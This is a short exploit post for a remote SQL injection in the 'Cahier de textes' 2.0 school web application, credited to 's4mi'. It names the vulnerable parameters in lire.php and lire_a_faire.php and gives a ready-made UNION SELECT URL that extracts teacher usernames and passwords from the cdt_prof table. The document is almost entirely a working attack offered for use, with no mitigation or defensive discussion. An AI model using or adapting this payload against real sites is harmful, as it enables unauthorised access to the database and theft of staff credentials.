# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ # Cahier de textes # Pierre Lemaitre - St Lô (France) - Ver 2.0 # # Remote SQL injection Exploit # # Discovred By s4mi # s4mi[at]linuxmail[dot]org ************************************************ # #exploit # # http://localhost/PATH/lire.php?classe_ID=1&matiere_ID=[SQL] or http://localhost/PATH/lire_a_faire.php?classe_ID=[SQL] *********************************** expemle of sql code to get admin user and password http://localhost/PATH/lire.php?classe_ID=1&matiere_ID=-1+union%20select%201,CONCAT(nom_prof,CHAR(58),CHAR(58),passe)%20FROM%20cdt_prof/*
